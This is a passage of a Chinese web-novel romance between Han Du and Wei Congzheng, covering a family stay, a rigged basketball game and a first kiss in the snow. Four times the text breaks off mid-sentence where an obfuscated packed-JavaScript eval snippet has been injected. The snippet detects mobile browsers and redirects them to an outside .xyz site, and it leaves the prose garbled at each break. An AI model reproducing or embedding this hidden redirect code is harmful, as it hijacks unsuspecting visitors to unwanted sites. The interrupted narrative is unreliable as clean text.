“韩渡他不爱说话,没关系,我陪你们聊天解闷。”魏从峥拉着韩母坐在沙发上,一副要促膝长谈的样子。
“吃过晚饭了吗?我让你伯父给你们煮点。”韩母跟他聊了会,忽然想起来,赶紧问道。
“没呢,您一说,是有点饿了。”魏从峥露出期待的表情。
韩渡在一旁看的受不了了,走过去把魏从峥拉了起来:“妈,我们自己煮,你跟爸早点休息。”
“诶?你这孩子……”
韩渡把魏从峥拉到厨房,关上门,低声道:“你别乱来,说好了只是住一晚。”
“我知道。”魏从峥也压低了声音,下一秒就开始讨价还价,“两晚行不行?”
韩渡果断打消他的念头:“不行。明天你就回燕城。”
“明天还有篮球赛呢,说好了带我去。”魏从峥又开始装委屈,挤了挤根本不存在的眼泪,“你有点凶。我讨你爸妈喜欢,你那么生气干什么?”
“别做多余的事。”韩渡面色缓了缓,又忍不住警告他。
“什么叫多余的事?”魏从峥不依不饶。
韩渡没有说话,转身打开煤气灶,开始热锅。
“你要给我做饭吗?”魏从峥从他身后探出脑袋,惊喜交加地问道。
这语气听在韩渡耳朵里就有点欠,更不愿意理他。
谁知道魏从峥忽然没有分寸地凑上来,甚至把下巴搁在了韩渡肩膀上。
韩渡一个寒战,差点没把锅掀了。他倏地转身:“你站远点。”
魏从峥后退半步,摸了摸鼻子:“靠一下也不行。”
韩渡忍无可忍:“你到底想干嘛?”
“?”魏从峥睁大眼睛,“需要我帮忙吗?我厨艺也不错。”
“你先出去。”
“是你拉我进来的。”
“再动手动脚你就出去。”
“我哪里动手动脚了?”魏从峥开始睁眼说瞎话,接着笑道,“咱们不是好朋友吗?我只是想跟你亲近亲近。”
韩渡被他弄得实在没脾气:“那你搭把手,去冰箱里拿几只鸡蛋过来。”
“遵命。”魏从峥笑道。
十分钟后,两碗面条出锅,清甜的汤汁浸泡细软的面条,最上面放了两只火候刚好的煎蛋。
魏从峥用筷子挑起两根面条,尝了一口,挑剔道:“勉强能入口吧,比起我还是差远了。”
韩渡道:“不喜欢就别吃了。”
“浪费粮食不好。”魏从峥又夹起两根。
“没事,都给我吧。”
“那我吃什么?”
“给你点外卖。”
“就知道你对我好,”魏从峥开心地又吃了一口面,“居然没让我去喝西北风。”
韩渡被他气笑,这人阴阳怪气的功力不浅,脸皮也堪比城墙厚。
说完这句话,魏从峥将头埋进面碗,五六口就嗦完了剩下的面,吃饱喝足,将筷子往碗上一放,满面春风地看着韩渡。
“吃完就去洗碗。”韩渡瞥了他一眼。
“好。”魏从峥从善如流,拾起碗筷往水槽处走。
魏从峥刷碗动作也很快,不久就回到了餐桌上,继续直勾勾地看着韩渡。
韩渡被他看得吃不下去:“我脸上是有字吗?”
“看你也不行吗?”魏从峥笑道。
“你看我干嘛?”
“看你好看。”魏从峥张口就来。
韩渡没有多想,习惯性地回答:“谢谢。”这张脸跟他原先的长相有八九分像,而他之前作为幕后经纪人,还能频繁上娱乐新闻,说白了还是得益于那副出挑的皮相。只是韩渡并不是过分在意外表的人,这类话听得多了,也就免疫了。
“就是比我逊色了那么一筹。”魏从峥又道,说着观察韩渡脸色,及时补上了一句,“也很不错了。”
韩渡有些受不了他的自恋,扫了他一眼,起身去水槽洗碗。
回到卧室后,韩渡从衣柜里找了件看着合身的旧衣服,递给魏从峥:“你今晚穿这件吧。”
魏从峥闻了闻衣服上的樟脑丸气味:“这是你什么时候的衣服?”
原主的衣服,韩渡哪里知道。“不想穿就光着睡。”
“谁说我不想穿了。”魏从峥笑道,又问,“我睡你床上?”
“也可以给你打地铺。”
“这就是你的待客之道?”
“是啊。”韩渡微笑。
当晚,等韩渡洗漱收拾完回来,发现魏从峥已经十分狡猾地抢先躺进了被子里,手里还翻阅着一本纸张有些泛黄的笔记本。
韩渡将头发擦干,走到他旁边,低头往那本
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13947037|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笔记本看去,惊讶地发现这居然原主的日记本。难怪他之前在燕城的公寓里怎么也找不到。
“偷看别人日记不好吧。”韩渡说着就准备从魏从峥手里拿走日记。
魏从峥用手掌压着日记本,不让韩渡抽走,仰头笑道:“打开之前我也不知道它是你的日记。”
韩渡见他笑得不同寻常,问道:“你看到什么了?”
“看到你吐槽老师同学。”魏从峥捧起日记本,“我来给你念一段……”
“行了行了。”尽管不是韩渡自己写的,但这种事根本解释不清,他也不乐意听魏从峥在这儿揭原主的短,于是伸手盖住日记本,“你无不无聊。”
“我就是无聊才看你的日记。”魏从峥理直气壮,“不然谁爱看小学生日记。”
“那麻烦松开尊手,让我把小学生日记收起来。”
“松开了你有什么奖励?”
“你是小孩吗,要什么奖励?”
“大人就不能要奖励吗?”这话实在有些胡搅蛮缠。
“奖励你一张回燕城的机票。”韩渡道,“后天一早就送你回去。”
魏从峥松开手,嘴上仍在不服气地说:“这是奖励吗?”
韩渡没有回他,而是拿着日记走到了写字台前,打开台灯,坐下细细阅读起来。
魏从峥说的没错,这本日记是原主在儿时写的,那时稚气未脱,写的内容也都是围绕老师、同学、父母,童言童语,十分可爱。虽然没有太多关于他自己的信息,读起来却也妙趣横生。
“不让我看,你自己怎么看得津津有味。”魏从峥靠在床边说。
“我回顾一下。”韩渡头也不抬地说,“你也别坐着了,早点睡。”
“你不关灯,我怎么睡?”
韩渡将台灯光线弄暗了些:“这样够么?”
“不够,还是太亮。”
韩渡将日记半阖上,转身看他:“不对劲,这几天都没见你工作,你是忽然转性了?”以前这人除了见苏郁明就是工作,甚至工作时间占据了一天中的绝大部分,可这几天,似乎真没看他办公过。
“这几天有更重要的事。”魏从峥解释了一句,随后明白过来,“你是想说我游手好闲?”
“这话可是你自己说的。”韩渡轻笑。
魏从峥唇角一翘,拍拍自己旁边另外半张床,“你也别‘工作’了,快过来睡觉。”
“你先睡,我看完就过去。”韩渡摇摇头,转身继续看日记。
“你再不过来,我就过去找你了。”魏从峥威胁道,这招用在韩渡身上屡试不爽。韩渡只好趁魏从峥真的过来之前,关上了台灯。
屋里顿时一片黑暗。
韩渡摸着黑上床,在另外半边躺下,尽量避开与魏从峥的肢体接触。他本以为按照白天魏从峥的那些胡话和行为,晚上也会做些什么,谁想对方居然规规矩矩,半点也不乱动。
韩渡提着的心轻轻放下,一夜无话,睡醒便到了第二天。
翌日,两人简单用完早饭,继续来到书店。韩渡走进收银台后,魏从峥则像前一天一样,拿了本书在一旁自娱自乐。因为约了晚上七点的篮球赛,六点左右,韩渡开始打扫书店,魏从峥忽然走了过来,笑道:“跟我出来,给你看样东西。”
35.烈女怕缠郎
韩渡被魏从峥牵着走到书店外,一辆近十米长的重型卡车正停在路边,卡车上装载着一台通体泛着金属光泽的银蓝色敞篷跑车,在夕阳下仿佛被镀了一层充满钞票味的金光。
韩渡表情顿时变得奇怪。
这样的豪车在禹州并不多见,很快就有路人停下脚步,拿出手机拍摄。
魏从峥一声吩咐下去,站在卡车后头的工人开始合力把跑车往地面装卸。
魏从峥献宝一样喜孜孜地望着韩渡:“喜欢吗?”
韩渡表情更加奇怪:“送我的?”
魏从峥点头:“是啊。”
“我不要。”
“不用跟我客气。”
韩渡迷惑地看向他。忽然搬一辆豪华跑车放到他面前,还说要送给他,怎么想都觉得有猫腻。
“昨天看了你的日记,我才知道你生日刚过,这是补给你的生日礼物。”魏从峥笑道。
“你现在是清醒的吗?”韩渡这才记起来原主的生日确实在这段日子,但这不是重点,他迟疑着、带着匪夷所思的眼神落在魏从峥脸上,“我们的关系……到这一步了吗?”
“睡一张床的关系还不够吗?”见韩渡脸色微变,魏从峥走得更近了些,压低声音说,“更何况,你还给我挡过子弹。”
韩渡往外退了两步,回头瞪他。挡子弹的事之前明明说过不要再提,这个人却还哪壶不开提哪壶。
“再瞪得凶点。”魏从峥合手笑道,“瞪完了,礼物可一定要收下。”
“没工夫陪你胡闹。”韩渡说完就转身回到书店。
见正主离开,正在装卸的工人不由停下手上动作。魏从峥扭头换上冷淡表情,挥手让他们继续,随后慢悠悠走进书店。
“让你的人都回去。”见他跟进来,韩渡一边将被顾客拿出的书归置回原位,一边对他说。
魏从峥走到韩渡对面,隔着书架看他:“那不是我的人,是物流公司的。”
“不管是谁的人,不要在外面妨碍大家走路。”
“只要你把车收下,他们马上就走。”
韩渡无奈地抬眼,望着魏从峥说道:“这车我不可能收。”
“为什么?一辆车而已。”魏从峥跟着韩渡往下一格书架走去,视线随着书籍间的光影在韩渡脸上移动,“怕收了我的东西,以后还不上?”
“你既然知道,为什么还要送?”
“不试试怎么知道?”魏从峥伸手,帮着韩渡把放进来的书整理好,说道,“你都答应去蒲贡了,我总得有点表示。”
“去蒲贡也是我自己的主意。”韩渡道。
“你真的想好了?”
“你难道希望我这时候反悔?”
魏从峥笑道:“如果你真的想感谢我,就收下这辆车,我相信你能在蒲贡创造更大的价值。”
韩渡看了他一眼,默不作声地将剩下的书分门别类放进书架。
快七点时,天色已经转暗,韩渡将店里的灯都关上,锁门后,转身看见魏从峥坐在那辆银蓝色敞篷跑车里,正冲着他挥动胳膊。
韩渡本想不动声色地路过那辆车,魏从峥仿佛料定他所思所想,挥完手之后,开始连连摁响喇叭。刺耳的喇叭声乍然响彻四周,惹得行人纷纷皱眉看过去。
这素质!
韩渡只好快步走过去:“你别扰民。”
魏从峥指了指副驾:“你不愿意收,总不介意坐一程吧?”
韩渡怕他再按喇叭,于是拉开车门坐进去,魏从峥笑着说:“这就对嘛,你来指路。”
韩渡伸手指了个方向,继而说道:“你不用这样,我已经答应履行赌约,你与其在这边跟我浪费时间,不如回燕城跟苏郁明好好聊聊,复合对你来说不是难事。”
“不要在我面前提他。”魏从峥发动跑车,一脚油门下去,车体像离弦的箭,嗖地冲了出去。
韩渡被惯性带得往车椅上一仰,不禁握紧了安全带:“你慢点——”
“还是快点好,省得某人胡思乱想。”
“胡思乱想总比想也不敢想的好。”
“你说我不敢想他?”
“那为什么一提起他你就激动?”韩渡道,“放不下就放不下了,很难承认么?非要离开燕城自寻烦恼,人走了,心还留在那里。”
魏从峥扶着方向盘,笑得恣意洒脱:“我是觉得你煞风景。禹州风光这么好,还有香车美人作伴,我这几天畅快的很,要不是你反复提他,我早就忘记他姓甚名谁了。”
韩渡只当他在嘴硬,懒得去拆穿他,只是他这话里有些内容听着实在不怎么舒服:“你说谁是美人?”
魏从峥余光看了韩渡一眼,识时务地说:“我是美人。”
“没见过你这么自恋的。”韩渡道。
“那怎么办?待会儿说你是美人,你又不高兴。”魏从峥大吐苦水,“某人已经侍靓行凶两天了,你自己没发现你这两天脾气有点大吗?还是在蒲贡那会儿温柔,关心我伤口,还给我挡子弹。”
“你快闭嘴。”韩渡真的服气了,“说了不要再提那件事,你是金鱼脑子么?”
“哪件事?”魏从峥还想装傻,一瞥韩渡脸色,当即改口道,“好了好了,我不说了。”
“还有脾气大这件事,”韩渡忍不住为自己辩白,“是你这两天事情太多,你要是老老实实的,我也会好好招待你。”
“少来,哪个男人女人喜欢跟老实男人上床?”魏从峥玩味地勾起唇角,“再说了,有我在这几天,你不觉得生活一下子精彩了吗?不但有奔头了,还多了个撒气的对象。”
“我哪次生气不是因为你拱火?”韩渡大开眼界,怎么能有人把话说得这么冠冕堂皇。
“我要是不拱火,你整天跟我客客气气,我不好受,你就好受吗?”
“不想我客客气气,你可以走。”
“对了,还有这点,动不动就赶人走,你是多怕跟我待
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13952443|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在一起?”
韩渡被他随口的一句话说中心思,顿时有些恼,却又不敢在这方面多说,只好别过头看向窗外。
魏从峥嘴角噙着笑,故意说道:“我要等哪天你舍不得我了,我再走,到时候你可别哭着挽留我。”
世界上怎么会有性格这么恶劣的人?韩渡忍不住呛道:“我现在就很舍不得你,你可以现在走吗?”
“我不信,除非你证明一下。”魏从峥侧过头来,盯着韩渡笑道。
“别看我,看红灯。”韩渡提醒他,又问:“怎么证明?”
魏从峥徐徐踩下刹车,说道:“亲我一下。”
韩渡微微一笑:“那你这辈子就留在禹州吧。”
“也好,这下也不用提什么苏郁明王郁明赵郁明了,只有一个韩渡要我伺候。”
此话一出,不仅是韩渡,似乎连魏从峥也愣了一下。
韩渡从未想过,自己的名字有一天会以这样的方式跟苏郁明同时出现。这能不能说明,他在魏从峥心里的定位,已经不再是简单的下属或朋友?
这种想法一出现,他的心脏就忍不住怦怦直跳,感觉到脸上火辣辣的。可也正是因为这句话里还带了苏郁明的名字,一种绵长的刺痛后来居上。
他再一次告诫自己,魏从峥只是喜欢满嘴跑火车,并没有其他意思,如果自己真的相信这人的把戏,那就太单纯了。
红灯跳动三下,换成了绿灯。
跑车缓缓冲出白线,匀速在公路上行驶着。后半程,车里安静了许多,只有呼呼的晚风吹满两人的耳朵。
跟邢师恒约定的地点是一处露天篮球场,四周用铁丝网围出了一块面积不小的水泥地,篮球架一看就有了年头,有些地方锈迹斑斑,还贴了一些不入流的小广告。
韩渡和魏从峥到达那里的时候,场子里已经聚集了十几号人,或站或蹲,形成两股势力。
魏从峥这辆张扬无比的跑车往这里一停,就把所有人的目光都吸引了过来,有些蹲下的人甚至缓缓站了起来。
韩渡远远看见了邢师恒,带着魏从峥一起走过去。见了二人,邢师恒不掩惊羡的目光在银蓝色跑车上流连,问韩渡:“这辆车是你的?这也太酷炫了,得多少钱才能拿下?”
韩渡澄清道:“不是我的,是我这位朋友的。我来介绍一下,他姓魏,待会儿想加入我们。”
“魏小哥,”邢师恒喊了声,又颇感难办地挠了挠头,“我们这边人数已经够了,你要是提前跟我说,我也好安排……”
“没事,我在场外候补就行。”魏从峥笑道。
见这位姓魏的小哥既有钱还好说话,邢师恒感动地连连点头,又心痒难耐地问起关于跑车的事。
魏从峥自然是笑眯眯的知无不言、言无不尽。
兴许是觉得这边聊了太久,不远处,一个长相清俊的青年向这里走来,在一众皮肤黝黑的年轻人里,他肤色白地发亮,却又透着股绮诡的红。
36.雪中初吻
“来,我也介绍一下,这位是我的好兄弟沈照。”邢师恒后退一步,将沈照让至身前,他正要对沈照介绍韩渡和魏从峥,沈照已经打断了他:“不用介绍了,我们都认识。”
“这么巧?”邢师恒睁大眼睛,“那就太好了,这下就成熟人局了。”
这是韩渡第二次见沈照,第一次还是在侯昭昭的接风派对上,当时,沈照的心狠手辣给他留下了很深的印象。谁曾想,居然猝不及防的又见面了,还是在禹州。
魏从峥笑道:“居然能在这种地方遇见沈二公子,真是缘分。”
“魏总幸会。”沈照淡淡地点头,看了看与他站在一起的韩渡:“之前不知道,魏总还认识我这位朋友。”
“朋友?”魏从峥眼尾上扬,也看向韩渡。
“在侯小姐的派对上见过一面。”韩渡对魏从峥说,随后问邢师恒:“什么时候开始?”
邢师恒看了眼时间,说道:“人已经到齐了,随时可以开始,我们这边一共五个人,我带你认识一下。”
韩渡随邢师恒向篮球场中央走去,沈照跟在二人身后,魏从峥则在球场边缘找了个地方坐下。
跟队友们互相认识之后,邢师恒将韩渡拉到一边,低声道:“这场比赛很重要,咱们只能赢不能输。你这些年没退步吧?”
现在才问这种话,是不是有些晚了……
韩渡也不清楚原主的篮球水平怎么样,他自己的倒是还可以,于是搪塞地点点头,又奇道:“为什么必须赢?对面是什么人?”他刚刚大致扫了一眼,对面的人个个肌肉结实、虎背熊腰,江湖气很重,反观他们这边,先不说沈照那副手无缚鸡之力的白面小生样,韩渡和邢师恒一看也只是匀称身材,顶多有些健身房锻炼的痕迹。
邢师恒摇头:“我日后再跟你详说。不过你也不用担心,二公子他胸有成竹,我们只用打打酱油,尽量不给他添乱就行。”
“二公子……你是说沈照?”韩渡疑惑道,“你刚刚不是还说,你们是很好的兄弟?”
“表面说辞罢了。”邢师恒摆摆手,“之前是以为你们不认识。我哪有资格跟他称兄道弟。”
“那你们又是怎么认识的?”韩渡蹙眉问道。
“说来话长,以后我再跟你说。”邢师恒还是这句话。
见他不愿多说,韩渡按下心中疑惑,随他返回球场。
比赛正式开始后,韩渡逐渐意识到不对劲,这哪里是正经球赛,对面分明不讲规矩,肢体冲突频频,好几次故意出手攻击他们这边的人。
韩渡亲眼见到一名队友在对方的推搡下摔在了地上,他正要喊停,却见那队友拍拍屁股就站起来,若无其事地冲上去继续配合比赛。
他看的发愣,一扭头就看见球场另一头的邢师恒猛地抬脚,极不讲道理地踹在了对面一个球员的腿肚子上。这一下有过之而无不及,那球员疼得脸色发紫,“嗷”的一声叫了出来。
是他眼花了吗?怎么连邢师恒也开始不守规矩了?
韩渡抢球的动作一顿,他余光一瞥,只见场外的魏从峥正双臂抱胸,看热闹看得起劲。
正在此时,对面一个球员看见韩渡落单,大跨步跑了过来,看那架势就是要过来下狠手。
韩渡自打穿越过来,没少跟人动手,看清了这人来势也并不害怕,当即就做好了试试对方身手的准备。
可还没等那人走近,一道身影已经从中将他拦住,沈照箭步横插进来,一手捉住对方臂肘,另一只手直取其面中山根,一拳下去,那人立时哀嚎着捂鼻直退。
韩渡不由联想起那天倒在长廊地上的孙岩超,沈照这人虽然看着文弱纤瘦,但拳脚功夫绝对不差。
后面的情景更是印证了韩渡的想法。看到自家兄弟口鼻鲜血淋漓,剩下四人不约而同的开始围攻沈照。沈照周旋在四人之间,身姿飘然如闲庭信步,只见他没出几次手,便将那四个都比他健硕的对手一一干倒在地上,他自己甚至眉毛都没皱一下。
而邢师恒仿佛早料到会有这样的结果,甚至也早早退出战场,站在一旁事不关己地围观起来。
看着倒在地上翻滚呻吟的那五个人,场外的魏从峥很捧场地鼓掌赞道:“漂亮!”
沈照这边已经走到对面的领队面前,弯腰递手,将那人从地上拉了起来。
两人不知说了什么,居然笑着握起了手。
眼看这场不伦不类的篮球赛就这样结束了,韩渡意识到自己只是被叫过来凑人头的,篮球赛是假,恐怕背后另有目的。心下有点失望,韩渡拍了拍邢师恒的肩膀,向魏从峥走去。
魏从峥站起身,笑着对走来的韩渡说:“可惜没让我上场,风头全让沈二出了。”
韩渡问他:“他什么来头?”
“沈家二公子,今年刚回国,前二十年都养在国外,是沈老爷子跟外面的女人生的。”魏从峥告诉韩渡,说完将头一歪,笑道,“你们不是朋友吗,他连这个都没告诉你?”
原著里没有出现过沈照这个人物,韩渡自然不清楚他是谁。像魏从峥口中的这些信息,如果没有人主动跟韩渡说,韩渡是无从知晓的。
“算不上朋友。”韩渡实话实说。
这时,邢师恒走了过来:“对不住了,没让你尽兴。”
“没关系,你们正事要紧。”韩渡说。
“不管怎么样,这次能在禹州见面,我还是很开心。同学聚会我会尽量参加,如果错过了,咱们就燕城见。”邢师恒伸手抱了抱韩渡,“二公子后面还有事,我得先跟他走,回头再见。”
目送邢师恒跟随沈照等一行人离开,韩渡看了看站在原地不动的魏从峥:“你不走么?”
魏从峥回道:“不走啊,我看他们把篮球留下了,不如我陪你打?”
天色已暗,铁丝网四角的照明灯渐次亮起,将篮球场包围成一处橘色的暖巢。韩渡笑道:“不用这样。”
“那就是我想打,你屈尊陪我一下?”魏从峥走到韩渡面前,屈膝伸手。
韩渡笑了笑:“这好像是邀请人跳舞的姿势。”
“你想跳舞也可以。”话音刚落,魏从峥不等韩渡拒绝就握住他的手,把人带到篮球场正
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13963848|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中央,另一只手在韩渡腰后蓦地一收,将人扣在臂弯里,先下手为强地跳起了男步。
韩渡被他拖着跳了两步,瞅准时机往他鞋面狠狠一踩,接着脱身而出:“谁要跟你跳舞?不是打球么,那就比比。”
说完,韩渡迅速拾起地上的篮球,拍动着开始运球。
魏从峥低头看了眼自己鞋面上一只灰扑扑的鞋印,抬头笑道:“好,输了你可不要哭。”
橘色的灯束下,两道人影互相追逐拦截,篮球拍击声回响在水泥场地。月影偏移,渐渐有雪花伴随北风落在二人的头上、肩上。
“下雪了。”他二人不知是谁先说了这么一句,渐渐停下动作,望着灯束下缓缓飘落的薄雪。
有雪片落在韩渡睫毛上,他眨眨眼,试图把雪抖下去,这动作看得魏从峥笑起来,走到韩渡面前,伸手在他眼睫上拂了拂。
温热的触感在韩渡眼皮上一晃而过,韩渡忍不住仰了仰头,睫毛微颤。
魏从峥拂去雪片后,却没有放下手,而是顺势托起韩渡的脸颊,迫使韩渡不得不把目光放在他脸上。
这一看,只见魏从峥那双潋滟的凤眼正越靠越近,鼻息也逐渐逼近。魏从峥眸光微动,视线从韩渡眼睛慢慢滑向他的嘴唇,手指也轻轻地在韩渡嘴角抚摸。
雪花安静地落着,全世界仿佛都寂静下来。似乎又过了好久,韩渡忘记了时间,忘记了对方那些剪不断理还乱的情感纠葛,在魏从峥再次箍住他腰的时候,情不自禁地屈指抓住了对方的胳膊。
魏从峥的唇落在了韩渡微凉的鼻尖上,蜻蜓点水般轻轻碰了碰。
韩渡忽地一慌,理智告诉他这很不对,他不该纵容这一切,但他本能地不想松手,甚至怔怔地闭上了双眼。
那唇得到了应允,一路继续吻着,直到含住了韩渡上唇,在他唇瓣上反复碾磨。
淡淡的香气,灼热的气息,对方的手离开韩渡脸颊,按压在他耳后,将人进一步往自己怀里扣,韩渡不禁一颤,微微挣扎起来。
这点挣扎完全被魏从峥无视,他惩罚性地轻咬了韩渡唇瓣一口,趁着韩渡出神,舌尖当即要更进一步地撬开韩渡双唇。韩渡如梦初醒,抵住他胸膛,头轻撇,眼睛睁开,轻喘道:“够了。”
魏从峥一下一下抚摸着韩渡的耳廓,依言放过了他,最后缱绻地在韩渡唇角吻了吻。
“是我唐突了。”他道。
听了这句话,韩渡更觉得无地自容,他彻底离开魏从峥的怀抱,将视线转开,企图假装刚刚的一切都没有发生:“不打球就回去了。”
“不打了,可以继续亲你吗?”魏从峥却有意说这种话,显然不打算跳过这个话题。
韩渡嘴唇微动,心道逃避确实解决不了问题,只是他又该怎么开这个口,直接问“你为什么要吻我”显得太傻,难道魏从峥能回答说“因为喜欢你”吗?对方注定是会跟另一个人在一起的,他算什么。想到这点,韩渡终于平复下来,是啊,有些事还是早说清楚为好。
“你真的知道你在做什么吗?”韩渡定下神来,看向魏从峥。
37.告白
“这个问题太有意思了,”魏从峥眼中笑意如同星点,“我怎么会不知道我在做什么?”
“如果你只是一时兴起,我没有时间陪你消遣。”韩渡却笑不出来。
“消遣?”魏从峥倾身看向韩渡,“我的时间也很宝贵,不会浪费在无关紧要的人身上。我吻你,只是因为我想。反倒是你,你怎么想,刚刚为什么不拒绝?”
这个问题直切要害。呼呼寒风刮得皮肤生痛,韩渡却感觉自己手心渗出了细汗:“我……”
被魏从峥那双眼睛牢牢盯着,韩渡感觉自己的心意已经无所遁形,他微微张口,却说不出话。
“你知道吗,一个人想要撒谎的时候,要么会恼羞成怒,要么就像你现在这样。”魏从峥低声笑道,“韩渡,你在犹豫什么?”
他在犹豫什么?他难道不该犹豫吗?韩渡凝视魏从峥的眼睛,在他的瞳孔里,看到了自己强撑的表情。
“你说这些,你又是想干什么?”
“我希望你能直面你的内心。我想看看真正的你,而不是现在这样瞻前顾后,把自己消耗在一些没意义的问题上。”
韩渡不想再被他牵着鼻子走,于是反过来问他:“你希望听到什么答案?你这些话太奇怪了。”
“是你太迟钝。”一抹笑意重新浮上魏从峥嘴角:“我在追你啊,你没看出来吗?”
韩渡以为雪下得太大,导致自己幻听了:“什么?”
“我在追你。”魏从峥定定地看着他,“你考虑一下。”
韩渡这回确定了没有听错,大起大落之下,又听魏从峥说道:“都到这份上了,如果还说对我没意思,信不信我今晚就干死你。”
韩渡原本还有些感动,听了他这句话,当即恨得牙痒,上前一步堵住了他的嘴。
雪越下越大,韩渡的吻刚送过去,就被魏从峥紧紧抓住。魏从峥无声地在韩渡唇上浅啄轻尝,起初还很温柔,可好景不长,没过多久,他就将手伸进韩渡的头发,按着韩渡的后脑勺,缓缓加深了这个吻。
吻势越来越急,几乎透着狎昵,韩渡被他逼得不住后退。后来,韩渡察觉到他的戏弄之意,不服输地主动环住他腰身,吻了回去,这下一发不可收拾,魏从峥像是受到了鼓舞,强势地侵入纠缠进来。
两人从水泥球场上吻到车上,大雪下个不停,落得他们满身。
韩渡被魏从峥压在车里,满头乌发深深陷进柔软的车垫,他抓着魏从峥的头发和衣服,几次勉强推开对方,得空喘了两下,又被人按进座椅里继续索吻。
这场漫长而汹涌的亲热里,韩渡握着魏从峥的手,抚弄他的手指,一根又一根,在指腹和指节栈恋游走,悄然述说着自己的心意。魏从峥抽出手,在韩渡的腰间摸了两下,然后抵在韩渡唇边反复摩拭,韩渡感觉到自己的嘴唇开始发麻、发肿,变得不像自己身体的一部分。
“真红。”魏从峥声音喑哑。说完,他低下头,在韩渡唇上狠狠咬了一口。一股腥甜在韩渡口中溢开,不等他说话,魏从峥已经吻得越来越放肆,滚烫的气息从韩渡的嘴唇走到颈间,韩渡不得不仰起脖子,将更多的皮肤暴露在冰冷的空气中,任由他蹂躏啃噬。
“去酒店?”含糊不清的声音从韩渡胸前传来。
韩渡面红耳赤、心脏狂跳,却也还没被情/欲冲昏头脑。他将自己被打开的衣服拢好,揉揉魏从峥的头发:“回家。”
银蓝色跑车如飞鱼一般在夜雪中划过,魏从峥脾气闹得很大,为了表示不满,油门越踩越凶。韩渡没压住上翘的嘴角,被他给发现了,气性更大,二十分钟的路程硬生生只花了十分钟。
二人到家时,发现向来待在屋里的韩卉居然出现在客厅沙发上。她黑乌乌的瞳孔望着魏从峥,似乎是不理解,为什么哥哥的上司会出现在自己家。
这也是魏从峥住进韩家以来第一次跟韩卉撞上,他挂起笑脸跟韩卉打了个招呼,随后大摇大摆地换鞋进了屋,仿佛自己才是这个家的主人。
而真正的主人韩父韩母则沉默地对坐在餐桌两边,炽亮的灯泡挂在他们头顶,将他们不再年轻的面容照得更显老态。见韩渡和魏从峥回来,他们整理好表情,笑着看过来:“回来啦,吃过了吗?”
韩渡走到他们身边,将手放在韩母肩上,随后在一旁的凳子坐下,轻声询问:“怎么了?有什么我能帮着出出主意的?”
韩母摇头,韩父道:“燕城的医生不行,禹州的还没试过。我想过两天,带你妹妹再去医院看看。”
韩母道:“小卉好不容易回来,你这么急着带她去医院,我看你就是嫌弃她了,你这个没良心的!”
“怎么可能,小卉也是我女儿。”韩父提了提嗓音。
“说是你女儿,这几天你上心了吗?!”韩母激动地要站起来。
韩渡赶紧扶着她胳膊,将人安抚住:“您别着急,哪有做父亲的会嫌弃女儿?爸也是为了小卉着想。您说的也对,咱们不急着这两天就去医院,先找左右邻居问问,看谁家有推荐的、信得过的好医生,总好过病急乱投医。爸,你说是不是?”
好不容易将二老劝住,韩渡回到客厅,牵着韩卉回房,等他忙完这一切回屋时,魏从峥已经洗漱好躺在了床上。
“真够你忙的。”他笑道,显然是将屋外的动静都听进去了,“需要我帮忙吗?”
“你想怎么帮?”韩渡在床边坐下。
魏从峥抓起韩渡的手,说道:“解铃还须系铃人,问题说到底出在何安身上。你如果放心交给我,这件事我去办。”
“谢谢你。”韩渡感激地说,却依然坚持自己的想法,“何安的事,我想自己去解决。”
魏从峥看着韩渡的眼睛,看清里面的坚持后,笑着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13977396|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说:“好,我不跟你这个亲哥争。主要工作不让我插手,我打打辅助总可以吧?”
“你有什么好主意?”韩渡好奇道。
“我记得你妹妹是舞蹈专业的学生?”
“对。”
“她之前有跟你提过,想去哪里工作吗?”
“你的意思是?”韩渡听懂他的意思,眼睛一亮。
“我帮她弄个面试名额,先给她找点事情做,也许她能振作起来。不然整天闷在房间里,基本功还没忘,人就闷坏了。”魏从峥笑着捏了捏韩渡的手。
